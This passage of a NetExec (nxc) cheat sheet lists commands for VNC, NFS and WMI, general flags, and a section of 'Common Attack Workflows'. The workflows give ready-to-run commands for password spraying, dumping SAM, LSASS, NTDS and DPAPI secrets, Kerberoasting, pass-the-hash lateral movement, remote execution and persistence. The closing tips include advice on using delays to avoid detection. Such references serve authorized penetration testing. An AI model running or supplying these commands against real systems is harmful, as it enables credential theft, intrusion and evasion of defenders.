nxc vnc 192.168.1.10 -u admin -p pass --screenshot --screentime 5

VNC Modules

 

# No modules available for VNC protocol in current version

NFS Protocol (Port 111)

 

Enumeration

 

nxc nfs 192.168.1.10                                               # Basic enumeration
nxc nfs 192.168.1.10 --shares                                      # List shares
nxc nfs 192.168.1.10 --enum-shares                                 # Enumerate shares (depth 3)
nxc nfs 192.168.1.10 --enum-shares 5                               # Custom depth
nxc nfs 192.168.1.10 --port 2049
nxc nfs 192.168.1.10 --nfs-timeout 10

Share Operations

 

nxc nfs 192.168.1.10 --share /export --ls                          # List share root
nxc nfs 192.168.1.10 --share /export --ls /path/to/dir
nxc nfs 192.168.1.10 --share /export --get-file remote.txt local.txt
nxc nfs 192.168.1.10 --share /export --put-file local.txt remote.txt

NFS Modules

 

# No modules available for NFS protocol in current version

WMI Protocol (Port 135)

 

Basic Usage

 

nxc wmi 192.168.1.10 -u admin -p password
nxc wmi 192.168.1.10 -u admin -H <NTLM_HASH>
nxc wmi 192.168.1.10 -u admin -p pass -d DOMAIN
nxc wmi 192.168.1.10 -u admin -p pass --local-auth
nxc wmi 192.168.1.10 -u admin -p pass --rpc-timeout 5

WMI Queries

 

nxc wmi 192.168.1.10 -u admin -p pass --wmi "SELECT * FROM Win32_Process"
nxc wmi 192.168.1.10 -u admin -p pass --wmi "SELECT * FROM Win32_Service"
nxc wmi 192.168.1.10 -u admin -p pass --wmi "SELECT * FROM Win32_ComputerSystem"
nxc wmi 192.168.1.10 -u admin -p pass --wmi-namespace "root\cimv2"

Command Execution

 

nxc wmi 192.168.1.10 -u admin -p pass -x "whoami"
nxc wmi 192.168.1.10 -u admin -p pass --exec-method wmiexec -x "whoami"
nxc wmi 192.168.1.10 -u admin -p pass --exec-method wmiexec-event -x "whoami"
nxc wmi 192.168.1.10 -u admin -p pass --exec-timeout 10
nxc wmi 192.168.1.10 -u admin -p pass --no-output -x "command"

WMI Modules

 

LOW PRIVILEGE MODULES

 

nxc wmi 192.168.1.10 -u user -p pass -M ioxidresolver              # Additional interfaces
nxc wmi 192.168.1.10 -u user -p pass -M spooler                    # Print spooler
nxc wmi 192.168.1.10 -u user -p pass -M zerologon                  # Zerologon check

HIGH PRIVILEGE MODULES

 

nxc wmi 192.168.1.10 -u admin -p pass -M bitlocker                 # BitLocker status
nxc wmi 192.168.1.10 -u admin -p pass -M enum_dns                  # DNS records
nxc wmi 192.168.1.10 -u admin -p pass -M get_netconnections        # Network connections
nxc wmi 192.168.1.10 -u admin -p pass -M rdp -o ACTION=enable      # Enable RDP
nxc wmi 192.168.1.10 -u admin -p pass -M rdp -o ACTION=disable     # Disable RDP

General Flags & Options

 

Threading & Performance

 

-t 256                       # Number of threads (default: 256)
--timeout 10                 # Connection timeout in seconds
--jitter 5                   # Random delay between requests (seconds)

Output & Logging

 

--verbose                    # Verbose output
--debug                      # Debug mode
--log output.log             # Save output to file
--no-progress                # Disable progress bar

DNS Options

 

-6                           # Force IPv6
--dns-server 8.8.8.8         # Custom DNS server
--dns-tcp                    # Use TCP for DNS queries
--dns-timeout 3              # DNS timeout in seconds

Credential Database

 

-id 1                        # Use credential ID from database
-id 1 2 3                    # Use multiple credential IDs

Server Options

 

--server https               # Use HTTPS server (default)
--server http                # Use HTTP server
--server-host 0.0.0.0        # Bind server to IP
--server-port 8000           # Server port
--connectback-host IP        # Connectback IP for remote system

Database

 

cmedb                        # Access NXC database
export smb                   # Export SMB results

Modules

 

nxc smb -L                              # List all SMB modules
nxc smb -M <module> --options           # Show module options

Common Attack Workflows

 

1. Initial Enumeration

 

# Find hosts and check SMB signing
nxc smb 192.168.1.0/24 --gen-relay-list relay.txt

# Anonymous/Guest enumeration
nxc smb 192.168.1.0/24 -u '' -p ''
nxc smb 192.168.1.0/24 -u 'guest' -p ''

# Check multiple protocols
nxc smb 192.168.1.0/24
nxc rdp 192.168.1.0/24 -u '' -p ''
nxc winrm 192.168.1.0/24 -u '' -p ''

2. Password Spraying

 

# Single password spray (safe)
nxc smb targets.txt -u users.txt -p 'Winter2024!' -d DOMAIN --continue-on-success

# With fail limits
nxc smb targets.txt -u users.txt -p passwords.txt --ufail-limit 3 --fail-limit 5

# Check valid creds across multiple protocols
nxc smb 192.168.1.10 -u admin -p pass
nxc winrm 192.168.1.10 -u admin -p pass
nxc mssql 192.168.1.10 -u admin -p pass
nxc rdp 192.168.1.10 -u admin -p pass

3. Credential Dumping

 

# Local SAM
nxc smb 192.168.1.10 -u admin -p pass --sam

# LSASS memory
nxc smb 192.168.1.10 -u admin -p pass -M lsassy
nxc smb 192.168.1.10 -u admin -p pass -M nanodump

# Domain Controller NTDS
nxc smb dc01.domain.local -u admin -p pass --ntds
nxc smb dc01.domain.local -u admin -p pass --ntds --enabled

# DPAPI
nxc smb 192.168.1.10 -u admin -p pass --dpapi cookies

4. Domain Enumeration

 

# Users and groups
nxc ldap dc01.domain.local -u user -p pass --users --groups

# Kerberoastable accounts
nxc ldap dc01.domain.local -u user -p pass --kerberoasting kerberoast.txt

# ASREProastable accounts
nxc ldap dc01.domain.local -u user -p pass --asreproast asrep.txt

# Bloodhound data
nxc ldap dc01.domain.local -u user -p pass --bloodhound -c All

# Find vulnerabilities
nxc ldap dc01.domain.local -u user -p pass -M adcs
nxc ldap dc01.domain.local -u user -p pass -M laps

5. Lateral Movement

 

# Pass-the-Hash
nxc smb targets.txt -u admin -H <NTLM> -x "hostname"

# Execute on multiple targets
nxc smb targets.txt -u admin -p pass -x "whoami"
nxc winrm targets.txt -u admin -p pass -x "ipconfig"

# Spray hashes
nxc smb targets.txt -u users.txt -H hashes.txt --continue-on-success

6. Post-Exploitation

 

# Persistence
nxc smb 192.168.1.10 -u admin -p pass -M rdp -o ACTION=enable
nxc smb 192.168.1.10 -u admin -p pass -M wdigest -o ACTION=enable

# Credential hunting
nxc smb 192.168.1.10 -u admin -p pass -M spider_plus
nxc smb 192.168.1.10 -u admin -p pass -M gpp_password
nxc smb 192.168.1.10 -u admin -p pass -M keepass_discover

# Application credentials
nxc smb 192.168.1.10 -u admin -p pass -M putty
nxc smb 192.168.1.10 -u admin -p pass -M winscp
nxc smb 192.168.1.10 -u admin -p pass -M wifi

Tips & Best Practices

 

  • Use --continue-on-success for password spraying to find all valid credentials
  • Use --no-bruteforce to stop after first valid credential per host (avoid lockouts)
  • Add --jitter to introduce random delays and avoid detection
  • Use --ufail-limit and --fail-limit to prevent account lockouts
  • Check SMB signing with basic scan before relay attacks
  • Use LDAP for domain enumeration (less noisy than SMB)
  • Pass-the-Hash only needs NTLM hash (not LM)
  • Always specify -d DOMAIN or --local-auth explicitly
  • Use cmedb to review all findings in the database
  • Module options: -M module_name -o OPTION=value
  • Rate limit yourself to avoid account lockouts and detection
  • Use --no-progress when logging output to files
  • Test authentication across multiple protocols (SMB, WinRM, RDP, MSSQL)

Resources